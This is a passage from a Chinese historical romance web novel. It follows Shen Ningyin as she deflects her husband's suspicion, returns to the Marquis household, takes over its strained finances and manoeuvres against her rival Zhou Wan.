走是要走的，顺水推舟跟着他回去是最最妥帖的，可沈宁音没忘了自己的目的。
“世子，这儿冷，有什么话，回屋说去。”
“好。”秦耀阳点了头，可突然就没动静了。
沈宁音顺着他的目光瞧过去，却发现了那件裘皮滚边大氅。
她心底一咯噔。当下维持着镇定抬手拉了他袖子一把：“还不走？”
秦耀阳蹙眉，这次他竟推开她的手走过去抓着那件黑色大氅：“这是谁的？”
沈宁音一时沉默。
秦耀阳攥紧大氅，转头拔高了声音：“你说啊！怎么不说话？”
他玉一般冷白的脸上青筋赫然，沈宁音不信秦耀阳是临时起意的怀疑。
这种时候，但凡有一丝紧张，那便是个有口难言的结局。
沈宁音姿态放松，双手自然地垂在两侧，甚至嘴角挂着抹似嘲似讽的笑：“你我夫妻一场，你就是这般想我的？”
秦耀阳没想过她竟是这般反应，堪堪愣在当场。
沈宁音再接再厉，上前两步，她的神色虽平淡，可秦耀阳看着那双眼睛，就又想起了她曾在府邸时受过的委屈，愧疚的感觉又翻腾上来。
“宁音。”秦耀阳咬了咬牙：“可是这衣裳你又如何解释？”
男人这话再没有了将才的愤怒，带着点不敢确定。
沈宁音并未直接回答，而是伸手替他整理衣领上的褶子，又将他如瀑的黑发从肩头扫到身后：“世子是不是早就听了旁人什么腌臜的话？”
秦耀阳被说得一顿，沈宁音对上他的目光时，男人转眸避开了。
沈宁音见状也就知道自己猜对了，她素手将那大氅也捏在手里：“世子，你光听人编排，是否想过，为何此处阁楼如此清净？”
秦耀阳一愣，好奇地盯着她的眼睛。
沈宁音便笑着道：“这儿是心正禅师的私地，禅师慈悲，允我在此抄经。哪里就能容了旁的闲杂人等过来？”
“旁人便罢了，你该不会也觉着，心正禅师这样年纪的得道高僧会与我有私？”
秦耀阳闻言，将才动摇的心，是彻底变了。他连忙松开了大氅：“宁音，我岂会是那种人？”
沈宁音别开脸。
秦耀阳慌忙又绕到她跟前，抬手握住了她的双肩，怕沈宁音不信，秦耀阳急急开口：“宁音，想来是你那妹妹年岁小乱想了，真不是我的意思，你莫生气了。”
沈宁音倒是没料到经过上次一事后，沈弦思竟然没走。
不过，料理秦耀阳，沈宁音并未花多少心思。那件大氅，她只推说是老禅师的。
毕竟，历代圣人其实都尚佛，多年推崇之下，高僧们得权贵礼赠也不是什么不可能的事。
虽那大氅十分特别，但秦耀阳也并不那么识货。
两盏茶的时间后，沈宁音已经同秦耀阳一道回去了厢房。
落座之际，沈宁音心中长长舒了口气。
“少夫人，世子爷那边……”染竹看了眼屋外。此刻秦耀阳就坐在外头等着。
就等着沈宁音松口同他回府。
沈宁音睃了一眼门扉，淡声吩咐：“收拾东西。”
她先前那样决绝，众人都不敢劝。
这会儿染竹与兰香听着沈宁音这么说，都是愣了一下才露出欢喜的神色来。
看着两个丫鬟兴高采烈的模样，沈宁音无奈地叹了一息。
这世上哪有什么圆满，不过是两害相较取其轻。
知道了秘密，那么回到侯府定然要比在这儿安全，可回去了，更多的事儿便要压上来了。
她们带过来的东西不算多，没收拣一会儿便收好了。
沈宁音推开门走出去。
秦耀阳听着声音便站起来了，白玉般的俊美面容上带着疼惜：“宁音，你瞧着疲累，要不然再睡会儿，我等着你。”
他这般温柔的声音极为难得，沈宁音露出恰到好处的羞赧：“不打紧，在马车上也能睡。”
“好。”秦耀阳伸手去扶她，沈宁音却是让了半步，男人的手扶了个空，他诧异地抬眸。
沈宁音抬起姣好的脸庞，鬓边的发丝垂落，声音依旧是软和的：“老夫人就没交代些什么？”
秦耀阳闻言，连忙道：“有，有的，我们在路上说。”
沈宁音却没动，她等着他讲。
“你怎么这般疏远。”秦耀阳说完这句，又想起自己做下的疏离之事，愧疚又无奈，小意温柔地握住了她的手。
这一次，沈宁音没挣开。
过犹不及的道理，她明白。
耳边是秦耀阳放软的声音：“宁音，祖母说了，你回去，什么都好商量。”
沈宁音心下盘算，依着沈弦思与沈夫人的表现看，老夫人那边是没有去找侍郎府的。
不然沈弦思就不是找茬，而是由沈夫人出面命令自个儿回夫家去了。
既如此，沈宁音底气又足了几分，莞尔一笑点了头：“好。”
秦耀阳很是高兴，一路扶着她出庭院。刚出院子，沈
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宁音就瞧见沈弦思站在不远处。
看见沈宁音与秦耀阳这般恩爱地走出来，她整个人都惊了。
沈弦思不理解，那沈宁音都做出这等不守妇道的事儿了，堂堂侯府世子怎的还把她当成了宝贝？！
没走几步，秦耀阳也看见了沈弦思。在看见她的刹那，将将还笑得艳阳高照的世子爷冷了脸。
“宁音，往后少与她往来。”秦耀阳告诫沈宁音。
沈弦思虽说离得不近，可秦耀阳说话时带着薄怒，再加上附近很清幽并没有什么人，所以沈宁音瞧见那好妹妹的脸色瞬间白了。
她便知，沈弦思怕是听着了。
沈宁音便又笑着点点头：“是，妾身知道了。”
她不是没注意到沈弦思正死死的盯着自己，可那又如何呢？
沈宁音抬起脸，冲着沈弦思微微一笑。
沈弦思脸上的表情凝固了，可秦耀阳领着许多家丁仆妇。这次老夫人来接她是下足了本钱的。面子上几乎算得上抬举了。
再加上跟在后头的方嬷嬷，沈弦思之前曾得罪过，这会儿被嬷嬷冷淡的目光一扫，沈弦思便不敢再上前了。
门口，秦耀阳抬手扶她上车，沈宁音道：“车上挤，妾身还是等寄放在山脚的马车赶上来……”
秦耀阳不容置疑地将她推上去：“哪里会挤？”
“可是……”沈宁音掀帘子，蹙眉。
秦耀阳饶是有斑斑短处，可在某些方面也算得上细致，未及沈宁音说完，他便道：“我已叫了人去赶车，这会儿应该是往侯府去了的。”
沈宁音听他都做到这个份儿上，便也没再坚持。
秦耀阳心情极好，掀开帘子也坐了上来，侯府的这个车是真的宽敞。
尤其为圣人赐下的，所以上头挂着的灯笼除了侯府的标记外，还有独属于大内宫廷的印信。
这不单单奢华，而且算得上是身份与荣耀的象征了。
寻常也只有入宫赴宴又或者是昌平侯与老夫人方能使用。
连沈宁音前几日回门都没资格。更是前世沈弦思一辈子也没坐上过的宝驾。沈宁音没想到，她入府不到一个月，便坐上了。
若然前世的沈弦思知晓，怕是得怄一辈子。
“怎么回事？”车子刚要起行就停下了，惹得秦耀阳蹙眉询问。
“世子，有人找您。”外头有随从小声禀告。
秦耀阳皱紧了眉头：“谁？”
“一个女子。”
听着这回答，秦耀阳愣了一下。
若然是沈弦思，那么下人大约会回禀她是沈家的小姐。
可目下，得着这样一个回答，沈宁音也在猜测是谁。
她正要去处置，手背就叫男人按了按，秦耀阳道：“宁音你不必管，我去瞧瞧。”
“嗯。”沈宁音乖顺得颔首，她也没那个兴趣去管秦耀阳的什么莺莺燕燕。
他这个人，虽然薄情，但对在意的人却是深情款款。若然要担心这个，就该是那周婉担心的。
沈宁音乐得轻松，她坐回去之后，秦耀阳便掀开帘子走了出去。
37. 胎记
沈宁音有些昏昏欲睡。秦耀阳一下车，她便想着靠在车厢上歇息。
只是还没等她眯一下，只觉得车子晃动，睁开眼时，就看见秦耀阳已经回来了。
“走。”男人脸上带着点愠怒。
沈宁音没说什么，等车开动，她抬手撩开个缝隙往外头看。便看见梁玉霜红着一双漂亮的猫儿眼，眼泪要掉不掉的，煞是惹人怜。
秦耀阳转头看了过来，蹙眉：“宁音。”他倾身过来，乌发从肩膀垂落，修长的指节将那窗帘扯下去。
“那种女子，荒唐可笑，以后都莫要与她来往！”他说话的语气像是气得不轻。
与其说是告诫妻子，不如说是在告诫他自己。
沈宁音却是嘴角弯了弯，并不戳破，只不动声色地应了声是，心里就已经开始做准备了。
秦耀阳这样的人，看似深情款款，实则最薄情不过。
深情的时候是真的深情，就似对周婉。愧疚的时候也是真愧疚，就好似对自己。
可周婉终究要老去，那梁玉霜却还年轻。
沈宁音并不知道秦耀阳方才与梁玉霜说过什么话。但就他方才的反应，那是典型的爱而不自知。
越是在意，就越要推得远。
前世冷元景一开始对那沈弦思不也一样朝思暮想，最后也没碍着他妻妾成群。秦耀阳如今的模样，沈宁音前世见多了，也轻车熟路。
早就不期待了。
山路上，马车徐徐而行，走得很慢。这一颠簸，就更催眠了。沈宁音脑子沉沉的，眼皮也沉沉的。
将将上了平坦的官道不久，她几乎要睡着，额头抵在了柔软的布料之上，有温热的体温。
沈宁音眼睛分开一条缝隙，耳朵边是秦耀阳熟悉的声音：“困了么？”
“恩。”她应了一声。
秦耀阳身子有些僵硬，沈宁音叹了口气：“我没事。”她便想撑坐起来，睡意却浓得她只想倒在面前。
座椅也可以，怀抱也可以，她真的没有半分挑剔和旖旎心思，只想睡一觉。
沈宁音又不是什么好人，凭什么要为秦耀阳与他的小姘头的守节大业鞠躬尽瘁、恪守妇德。
可秦耀阳终究是抬手托着她的胳膊：“你先睡，我去骑马。”
沈宁音还没回话，便看见男人模模糊糊的背影仓皇下了车。
眼睛下一瞬便阖上，沈宁音太困，困得脑子都不转了。
也不知过去多久……
沈宁音突然感觉到腰间紧了紧，她微微睁开眼睛，入目是帐幔低垂，一盏灯火暗淡地在微风中摇曳。
她的床边坐着个人。沈宁音夙睡初醒，好一会儿才反应过来那戴着面具的冰冷男人是谁。
“薛大人？”这诡异的场面，这陌生的环境，激得沈宁音骤然清醒。她攥紧了被子捂到脖子。
哪怕她身上穿得齐整，但她脖子上的紫色指印还在呢。
薛岚没动。
“薛大人，孤男寡女共处一室，您难道不知避嫌？”沈宁音脸色沉了沉。不管状况为何，先声夺人取得主动才是。
“放心。”好一会儿，薛岚才开口，言语间只挑重点：“这是官道旁的客栈。”
见她不解，薛岚又补了句：“方才下雨。”
他素来惜字如金，但沈宁音也明白过来，秦耀阳去骑马了，若然下雨，就算他愿意上马车挤一挤，可车下的仆从也不好冒雨走山路、夜路。
从寒山寺到上京城也还是有四个时辰的。
昌平侯府这是中途在客栈宿下了。
沈宁音抬眸，薛岚道：“他在隔壁。”
“……”突然有点苦笑，新婚夫妻分房睡这种事，竟叫个阉人撞见。
沈宁音面子上莫名有些挂不住，轻咳了一声：“我夫君不过是怕扰了我安眠。”
薛岚看着她，面具下的那双眼睛在油灯之下黑沉沉的，看不分明，可越是这样，越容易叫人去琢磨幻想出不好的假设来。
沈宁音不知不觉语气就有些不客气，眉心蹙起：“大人有事？”她往里头缩了缩，是很防备的姿态。
可是一不小心，露出锦被下的白嫩的小脚来，沈宁音愣了一下。
薛岚的目光正好也落在那脚上。
兴许是染竹与兰香伺候她上榻之际将袜子脱了，雨天易湿，沈宁音又是个娇气的，那双脚，下雨就发冷，经常又冷又难受。
原因无他，还是当年中选东宫，那时还没有沈弦思，她更没被发现是个假千金，沈定山放着上好的机会几乎是样样都要叫她做到最好。
伪朝太子爱赏舞，那么，沈宁音即便跳不得掌上舞，也得日日勤练做到舞姿轻盈，周身肌肤更是要用特殊药物浸泡。
当她站在云端时，众人都道她窈窕淑女，可伪朝一倒，她便成了心狠手辣的恶女，恰是这为天家准备的身段与姿容，冷元景厌恶了她一辈子。
沈宁音想到前世种种，想到那人的贬低诋毁，抿了抿唇，将脚收回。
可是下一瞬，薛岚竟一把握住了它。
沈宁音心脏猛跳，抬起头惊疑不定地看向男人。
薛岚的手很热，掌心贴着她冰冷的脚掌时，沈宁音没来由觉得更热了。
她咬牙用力地蹬了过去：“放肆！”
薛岚到底是松了手，沈宁音整张脸都红了，又惊又怒：“你竟敢！”
沈宁音扬手要打那登徒子，却被薛岚一把抓住。
眼瞧着面前的女子要爆发喊人了，面具下的薛岚方用指尖敲了敲面具：“是铁的。”
沈宁音将将气糊涂了，这会儿反应过来，她这巴掌打下去，怕是先伤了自个儿的手。
薛岚站起身，语气与表现没有半分羞愧，就仿佛刚刚什么事都没发生般。
沈宁音很气。
薛岚随手从腰上解下来一块很小的玉佩，朝着沈宁音扔了过去：“三天内，带着它来梧桐街酒家见我。”
她想吼一句，凭什么！可这会儿万籁俱寂，显然并不适合大声呼呵。
也不知这薛岚用了什么手段，就连染竹与兰香似乎都没有察觉。
可这件事若叫隔壁房间的秦耀阳得知，定不是什么好事。
薛岚走到门口，蓦然略转脑袋，开口说了一句：“下次，莫
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再睡地上。”
“？”沈宁音愣住。
仿佛一阵风过，门关上，薛岚已经消失不见。
沈宁音低头往玉佩看去，突然下意识一攥。
她想起一开始的时候为何会觉着腰间发紧了，大约……可能……人家是好心把自己搬上床去？
可是……
沈宁音皱起眉头，勾开腿上的被子，脚依然觉着很冷，冷得开始刺痛。
他刚刚为何会握自己的脚？沈宁音蹙眉，手指在脚踝摸了摸。
那里光洁白皙。
雨已经小了很多很多，薛岚从客栈内走了出来，小太监上前给他披上斗篷。
“主子，千岁叫您回去。”
丝丝缕缕的雨飘散在天地，即便并不大，却密集，总湿润得染着点氤氲与朦胧，薛岚转眸看向那小太监。
小太监触及他的目光，立马讨好地笑着，只是整个身子都佝偻下去几分。
是了，这才是寻常人该有的态度。
“你说……”
小太监骤然抬头，很有点震惊，万年冰山的衙内，今儿竟然主动对他这样一个微不足道的奴才开了金口，小太监害怕里又带着点诚惶诚恐。
他是生怕错过了讨好衙内从而叫薛公公高看一眼的机会。
薛岚顿了好一会儿，面具里干涩的嘴唇才抿了抿唇，继续道：“人的胎记，会不会突然就消失？”
小太监原本洗耳恭听，却是在听着他的话后笑出来：“主子，怎么可能有这等事情？”
“胎记这种东西，那是胎里带来的，是前世的孽障，又哪里能说没就没的？”
小太监正笑着，可丝丝雨中，戴着面具的男人并不笑，只是盯着自己看。
小太监慢慢的就多了几分害怕来。
他差点儿忘了眼前这个，可是上京城公认的活阎王，就算勋爵贵族落在他手里都要脱层皮的狠人。
思及此，小太监也不敢嘚瑟了，非但不敢笑了，而且规规矩矩低着头，拘谨得像个鹌鹑。
可是小太监越想越觉着怕，连忙抬手打了一下自个儿的脸：“哎哟，主子，您瞧我这张破嘴巴。”
小太监觉着主子一直戴着面具，从前就有着半片面具的。虽然这次好像因着诏狱的事儿所以整张脸都受了磋磨。但他原本应该也有些有碍观瞻的胎记在的。
自己这可不就是哪壶不开提哪壶么？
他就连忙道：“主子，您别担心，这世上这么大，总有几个世外高人，神医丹士的，寻常人除不得，可不代表这些神仙般的人物不可以，您若仔细找找，指不定就遇着了天大的好机缘。”
薛岚听完小太监的话，果然眸光一闪。他微微眯了眯眼，语气难得有些迟疑：“当真？”
“自然……自然是的。”小太监觉着额头都要出汗了。
原以为立马就能蒙混过去，没想到他后面竟然追问起来。
小太监哪里知道那么多，他也就是随口说说罢了。
旋即又只好硬着头皮道：“太医院，太医院定能知道些什么！”
“对！最厉害的，就是柳太医。”
38. 中馈
红墙绿瓦，高门深宅，走了这几日，沈宁音再次回来，目光落在门口那象征着权贵身份的石狮子。
秦耀阳见她停下脚步，顺着她的目光瞧过去，便跨过去两三步伸手掐下来一些碧绿的颜色。
“些许青苔罢了，回头叫人打扫一二。”
秦耀阳不以为然，随手将那抹绿磋到尘埃里。
沈宁音随着他往里头进，蹙了蹙眉，回头又看了一眼。
走过曲折的回廊，松鹤堂前照旧是恰到好处的安静。便是沈宁音小夫妻二人进去也没激起什么浪花来。
“祖母。”沈宁音提起裙裾要跪下，方嬷嬷已经在老夫人的眼神示意里抢先一步将她扶起来了。
原就是走个过场，沈宁音倒也不推辞，红着眼圈就站了起来。
“我的儿，快来，坐跟前来。”老夫人脸上带着笑，语气热情，只是那双浑浊的眼睛里偏又少了许多真心，沈宁音反而从中看出了焦虑。
“几日不见，清减许多，怪惹人心疼的。”说话的是闵氏，闵氏脸色很不好，就连笑容都带着僵。
沈宁音只作瞧不出。
任老夫人如何试探，沈宁音也是应对得滴水不漏，谁也挑不出个错儿来。倒是不常在这儿立规矩的秦耀阳最后坐不住了，开口：“祖母、母亲，如今宁音也回来了，不是有事儿要说么？”
闵氏的脸色僵了一下，表情迅速黑沉了下去。她并不说话，先前该说的，也都同老夫人说了，而老夫人那是油盐不进的。
“宁音，你也进门不是第一天了，咱们家的情况你也知晓个大概的。”老夫人笑容慈爱，拉着沈宁音的手轻拍了拍：“明儿个就开宗祠，你正式拜一拜咱们秦家列祖列宗。”
沈宁音安安静静地听着，知道接下来的东西才是重中之重。
老夫人接着道：“我老了，你那嫂嫂又是个体弱的，屋里没有男人，当不得这个家。”
“所以，我与你母亲商议了一下，就由你来打理咱们府上的事儿吧。”这次并不是边沿外铺，而是昌平侯府的核心。
老夫人非但说了，还立刻就叫下人把府里的各项事物，印鉴、对牌等等都交到了沈宁音手里。
这等事儿其实是很罕见的，寡嫂就不说了，当家夫人闵氏还在呢，这就直接把权交到了沈宁音手里来。
如此的信任，若非沈宁音有些城府，换个不谙世事的新嫁娘过来，只怕就要毫无怀疑地感激涕零了。
沈宁音吩咐跟来的丫鬟收好东西，这才平静恭顺地颔首：“孙媳还从未当过这等家业，不如祖母拨一位嬷嬷来祁秀院相帮？”
木秀于林而风必摧之，这个道理沈宁音是再明白不过的。她不是看不出来闵氏脸上的隐忍与不甘，若然真那么莽撞接了这差使，还不知有多少麻烦事儿找上门呢。
而且……沈宁音眼眸眯了眯——这府里乱的很，她想要整治，总会有许多得罪人的事儿要做下。
找个挡箭牌还是必要的。
老夫人沉吟了一下，随手指了方嬷嬷：“方成家的你眼熟些，若有什么，找她就是。”
沈宁音露出一副欣喜的表情：“多谢祖母抬爱。”
“那个庄子！”闵氏一张脸黑得直咬牙，可是看着婆母警告的脸色，她又不由得放缓了语气：“宁音，是这样，母亲跟你商议个事儿。”
“母亲请说。”沈宁音正对着闵氏，声音和气。
闵氏顿时又燃起了点希冀：“你知道的，那庄子那么大，你如今又管着这么许多府务，哪里又能分心再管其他？”
见沈宁音依旧带着微笑，表情没什么变化，闵氏脸上也有了笑意：“再说了，我娘家子侄得空了就总喜欢往那庄子上玩个月余……”
不等闵氏讲完，沈宁音已经开口笑着打断了：“哎，我当什么事儿呢？母亲说的这个，再好办不过了。”
“您的子侄也是我与世子的表亲，若是想来玩，那自是欢迎的。”
闵氏脸色微变，沈宁音又继续道：“至于管理，母亲也不必挂心。”
沈宁音笑着看向老夫人：“母亲既派了得用的嬷嬷过来相助，想来也不会费太多的心力。一个庄子罢了，倒也没什么难的。”
她这一套连消带打的，闵氏听得心中火起，却偏偏不敢激烈反驳。沈宁音搬出老夫人来，闵氏也不是傻子，这一反驳，岂非是说老夫人派过去的心腹都是废物？
老夫人也看出闵氏说不过了，再说就要吃瘪。于是开口道：“好了，宁音刚回来，你要关心她，往后有的是机会，让她们新婚燕尔回去歇着吧。”
闵氏抬头就对上了老夫人严厉的目光，登时就没了脾气，低下头：“婆母教训得是。”
沈宁音拉下脸去佛寺这么一趟，结果还算让她满意。
不，几乎是超过预期了。
她本以为想要拿到大部分的控制权怎么都要费几分周折，可没想到老夫人简直算是越过闵氏将中馈之权拱手送给了自己。
可等回了院落，叫人去打听，又找方嬷嬷旁敲侧击之后，沈宁音方才明白了。
哪里存在什么慈爱疼宠呢？
府里那些个公中的铺面虽然流水十分漂亮，足以让一些不明就里的人欣喜若狂。
可实际上呢？府库内空空如也，昌平侯还被圣人罚了一年俸禄。
钱财来得多，去得更多。眼下若砍了仆婢们的新衣与各项花销，还能勉强开支。
那以后呢？
沈宁音坐在窗旁，眉心轻蹙。
“少夫人，这不对啊……”染竹是从沈宁音小时候就伺候过来的，经历过人情冷暖大起大落，不比兰香豁达天真，这会儿也是看出来个中问题。
染竹扫了一眼门口。
沈宁音淡淡道：“方嬷嬷在松鹤堂有事，你说吧。”
染竹这才小心谨慎地开口：“少夫人，咱们这是要得罪人的。”她皱着眉头继续道：“侯府仆从这样多，冬衣按着旧例是每年两套，不管是降低标准还是减少数目，事儿落在您手里，恶人的名声就得从您这儿落下。”<
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沈宁音轻笑一声，理了理袖口：“我知道。”
染竹怕她是因着不重视而吃亏，连忙走到另一边苦口婆心：“少夫人，这中馈您接不得。”
“您兴许不知，那起子奴才们最是难打理，只要心里生了厌，什么小事儿都能捅成大事儿来，您可千万别认为只是两件衣裳一双鞋的事儿。”
沈宁音笑着看了染竹一眼：“我没有掉以轻心，你说的，我都知晓。”
“如今是秋日，到了冬日后，非但要添置冬衣，还得购买炭火。侯府用不得石炭，还得买木炭。到了年节，还得有侯府亲近的各家赠礼、回礼……”
沈宁音掰着指头细数，数到最后，染竹脸色越发苍白，已经说不出话来了。
突然，卧房门“唰”地就给人推开了。染竹吓了一跳。
“别要了。”秦耀阳神色严肃地走过来，他眉头皱着，垂眸看向沈宁音：“咱别要中馈了，这劳什子事情就交给母亲管就是了。”
“你是我明媒正娶的妻，岂能受那些下人的气。”
秦耀阳说完抬手抓着沈宁音的手腕就往外走，沈宁音听在耳中竟有一时的感动。
不过，理智很快回笼，她伸手从男人掌心抽出手来：“世子，你放手。”
男人不管不顾，一副为她去请命撑腰的架势，看得祁秀院的下人们都十分感动。
不得已，沈宁音只好皱着眉道：“世子，你捏疼我了。”
听了这话，秦耀阳立马停了脚步，连忙松手，解释：“宁音，你没事吧？”
他看着她手腕上的红痕，一时间烫了脸颊：“抱歉，是我心急了。”
沈宁音温柔地摇摇头：“世子无需自责。”
她语气是一如既往的柔顺大度：“祖母与母亲既然将此事交托与我，我自然便要做到最好才是。”
沈宁音笑了笑，垂下眼眸：“哪里能做也不做就将问题还回去的道理？”
“如此，岂非叫她们寒了心？”
秦耀阳闻言，一脸惭愧之余更是对她发自肺腑的感激：“得妻如此夫复何求？宁音……”他握住她的双手：“谢谢你这么为母亲她们着想。”
沈宁音面上露出羞赧之色，并未抽出手，而是再接再厉地补了一句：“世子不必夸奖妾身。”
她又抬起头深情地看向秦耀阳：“妾身既做了秦家妇，自然该做到最好，妾身做这些，都只为了世子。”
“只要世子在家能诸事顺遂，合家安宁，妾身就满足了。”
“好！好好好！”秦耀阳十分受用，握住沈宁音的手指不松手。
沈宁音被看得久了，一时也拿不准自己是不是做戏做得太过。
秦耀阳倾身凑近："宁音，既如此，今日我们……"
沈宁音身子僵了僵，脸上露出个娇羞的笑：“世子，我今日刚接了府务，有很多事情要忙。”
秦耀阳笑着点点头：“你放心，以后但凡有什么事情，尽管找我商量，今儿你忙你的，我晚上可以等你。”
39. 嫉妒
“宁音，你先忙，我晚上过来。”秦耀阳声音低沉，脸上带着笑意。
他没有立时就走，等沈宁音一个答复。
两个呼吸后，方传来沈宁音的声音：“好。”
秦耀阳似乎松了口气，眉梢眼角都带着点解脱。沈宁音目送他离开祁秀院。
拢了拢披帛，沈宁音觉着，这天儿似乎更凉了。
“少夫人，要准备香汤么？”染竹小心翼翼地看着她。若放在从前，祁秀院的丫鬟仆婢听着男主子要留宿，那都是欢天喜地的。
可现在，近身伺候的，都不敢高兴了。
沈宁音声音冷冷淡淡的，脸上并没有喜色：“不必了。”
不抱着期待，便也不会失望。
染竹打量着她的神色，怕她忧思过甚，犹豫了一下，开口劝：“少夫人，您这才刚从寒山寺里头回来，二爷便是再胡闹，今儿也该要陪着您的。”
是的，沈宁音也知这个道理，可他若是个能守着规矩的人，便也断断不会抗婚到二十六岁才娶亲了。
“去库房，讨些姑苏沉水香来。”沈宁音敛眸。染竹闻言了愣了一下，脸上浮现丝笑：“是。”
“等等。”沈宁音想了想叫住她：“让兰香领着春渠去要。”
“好。”染竹领命快步离去了。
沉水香是名贵的熏香，老夫人的松鹤堂与秦耀阳的屋里都得有。但姑苏的更冷调些，多给秦耀阳备着的。
沈宁音之所以知道，除了前世沈弦思总去信叫阮家送之外，还有今生嫁过来后特意的打探。
如今库房亏空得厉害，这香，可就不会随意分润出来了。
两盏茶的时间之后，昌平侯府的库房跨院。
“哎哟，老奴知晓这是少夫人要的，可府库里头当真没有了。”府库的婆子哭丧着一张脸。
“你这老贼婆，该不会是自个儿昧下了吧？”春渠叉着腰，分外不客气。
春渠本是个三等丫鬟，连进主子屋里伺候都轮不上的卑微身份。可一旁站着的大丫鬟兰香不吭气儿，那春渠后头便是仗着的新主母的势。婆子敢怒不敢言，只好继续陪着小心。
“春渠姑娘，您可不能胡乱说嘴。”婆子的诉苦多少带了点儿真情实感：“也不怕您笑话。”她指了指身后的朱漆铁门：“奴婢在这儿办差，从前的确是个有油水的肥差。”
“什么虫蛀鼠咬，破的旧的，报上了损，也能捡些布头回去穿用，可如今，里头干净得鼠儿雀儿都吃不活。咱们哪里敢昧下？那是早早的就送去了主子的地方。”
兰香闻言，也知她说的不假，顿时有些失望。
那婆子打了个呵欠道：“若是姑娘们没什么旁的事儿，那老奴就去歇着了。”
“慢着。”春渠忽然开口。兰香与婆子闻言都看向了她。
小丫鬟抬起脸，乌溜溜的眸子一眨不眨地盯着那婆子看，看得那婆子都有些不自在了。
“这沉水香，都送去了哪儿？”春渠脸上挂了笑，看起来很是和气。
她冷不丁露出这等表情来，婆子打了个摆子，咳嗽两声才道：“还怕我诓你们不成？行行行，我告诉你们，你们尽管去打听。”
“老夫人的松鹤堂，二爷书房，还有……没有了。”
婆子的话叫春渠眼睛一眯：“没了？”
婆子眼睛闪了闪盯着脚尖：“嗯，没了。”
这下轮到兰香冷笑着开口了：“呵……若叫我问出来别处还有，少夫人绝饶不得你！”
兰香拉着春渠就走。
婆子一脸懵，眼瞧着人要迈出院门，连忙踉跄着追过去：“哎哎哎！慢点！小姑奶奶！有！兰心居也送了些去的。”
春渠与兰香对视了一眼。
目光不约而同。
兰心居，琴声叮咚，周婉素手拨弦，一身素白将本就偏白的脸色趁得愈发娇弱，长发微扬，风一吹，便宛若飘飘仙子。
只是兴许久未得神郎眷顾，便连琴声都显得无力且哀婉。
“少夫人，有人来找。”丫鬟小声禀告。
最近大少夫人的情绪极不稳定，动辄打骂，东西咸了淡了，茶水冷了烫了，尤其早上时，一个丫头梳头的时候梳断了她的几根头发，周婉一怒之下，叫人将丫头打个半死，发卖了出去。
琴声戛然而止，周婉脸上带着期盼的喜色：“是世子爷来？”
周婉站起身：“快，快带我去梳妆。”
“……”丫鬟想说话，又怕被迁怒，白着脸色腿一软就跪了下去：“少夫人，不是二爷，是……是祁秀院的兰香。”
周婉瞠大眸子，瞬息之后，她皱紧眉头，觉着呼吸都有些滞涩。周婉坐回了凳子上：“沈宁音的人来做什么？”
丫鬟跪在地上也不敢起来：“启禀少夫人，说是二少夫人要沉水香，咱们屋正好分到了几两姑苏来的香货……”
未及听完，周婉愤怒地一抓琴弦，空气中激荡起刺耳的琴音：“放肆！她简直欺人太甚！”
“少夫人……”丫鬟脸色都白了，惊惧地看向周婉。
周婉抓起一旁的香炉、茶盏，也不管烫是不烫，一股脑儿往地上砸、往丫鬟身上砸。
丫鬟不敢动弹，只能生受着。
满地的碎瓷狼藉里，周婉红着眼睛：“真是个下流的贱妇！打量着谁不知世子宿在她屋里似的，到处炫耀！”
“贱妇！狐媚子！”周婉咒骂着：“叫她们滚！”
丫鬟哆嗦着站起身：“是。”
等丫鬟将话带出去同兰香与春渠说时，春渠冷笑了一声，也不纠缠，拉着兰香就走：“兰香姐，既然大少夫人不肯给，那咱们去找老夫人要。”
“慢着！”周婉的声音从里头传来。
兰香与春渠回过头去，但见周婉一派弱柳扶风地走出来，清丽的脸上没什么表情，但显然心情并不太好。
“大少夫人。”兰香与春渠一同与她见礼。
兰香虽不是从小就跟在沈宁音身边儿的，但耳濡目染，学规矩的功夫一点儿没少下。周婉半点儿错处也挑不出来。
“起来吧。”周婉虽脸色难看，却并没有为难二人，她扯出个微笑：“哪里用的着去搅扰老夫人？将才是下人们不懂事，竟没说清楚。”
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周婉从一旁拿出个盒子递过去：“这就是沉水香，二弟妹要，哪里有不给的。”
莫说兰香了，就连春渠脸上都有几分诧异。
兰香打开盒子嗅了一下，冲春渠点点头。这才拿着东西冲周婉颔首：“多谢大少夫人。”
两人满意地并肩离去。
等再瞧不见二人的背影时，周婉瞬间再笑不出来了，她攥紧掌心，指甲陷进了肉里。
祁秀院，沈宁音拨弄着算盘，久未使用，倒有些不习惯了。
等算完一整本，她的眉头就没舒展过。
抬手捏了捏酸胀的小臂，就听着脚步声朝自个儿过来。
“少夫人！”
沈宁音一抬头，就看见兰香和春渠走进来复命。
“要到了？”沈宁音眉梢微抬。
“恩。少夫人，你不知道……”兰香正要邀功，沈宁音便打断了她。
“我知道。”沈宁音淡淡道：“去兰水居讨的。”
兰香与春渠都是一愣。兰香挠了挠香腮，纳罕：“您怎么知道？您莫不是能掐会算？”
沈宁音笑着摇摇头：“行了，都下去吧。”
两人退出去后，房间安静了下来。
沈宁音自然不是能掐算的半仙，她不过是知晓兰香的为人。
沉水香这等好东西，若库房有，上次也该要抄去了。剩下的一些旧例，松鹤堂那边兰香不会去。
本就是给秦耀阳用，而这男人并不是个上进的主，自也不会在书房多待。
那么最可能备下此物的地方只有一个。
那就是兰水居。
周婉跟秦耀阳的丑事阖府上下也不能放到明面儿上来，大约就是寡嫂爱用些，这也说得过去。
那找她讨些，也没什么不妥的。
沈宁音也思忖好——消息透出去，自己已经做了能做的。
倘使那周婉自己不争气，她便也没什么好说的，权当被狗咬一口罢了。
沈宁音又揉着眉心翻开了下一本账册。
不知不觉，已经过去许久。
等明亮的烛火燃起来的时候，沈宁音才反应过来，天已经晚了。
“少夫人。”染竹又将整理好的香炉抱过来搁在桌子上：“可是要先熏上？”
沈宁音并不讨厌沉水香，不过，她前世遇着的事儿太多，见惯了妾室之间的陷害倾轧，这会儿看着陌生的香薰就不那么爽快。
虽说是给秦耀阳用的，沈宁音倒也不觉得她真敢动什么手脚。
“拿下去吧。”
她轻声吩咐了一句。
“这……”染竹愣了一瞬，有些不知所措。
“去吧。”沈宁音知道她的顾虑，在她们眼里，今儿是秦耀阳过来留宿的日子，自然是样样都走在前头。
宁可点上了一会儿再续，也不可以等会儿惹了世子不满意。
为了安抚下人们，沈宁音退了一步：“你先拿下去，一会儿世子过来了再点上也不迟。”
“是。”染竹这才放心地走了下去。
沈宁音一直等着，等来等去，等到了三更。
40. 赌他
三更天时，终于传来了秦耀阳的消息，说是马上就过来。
沈宁音蹙了蹙眉，但她尚算冷静，有条不紊地叫人备了香薰、香汤。
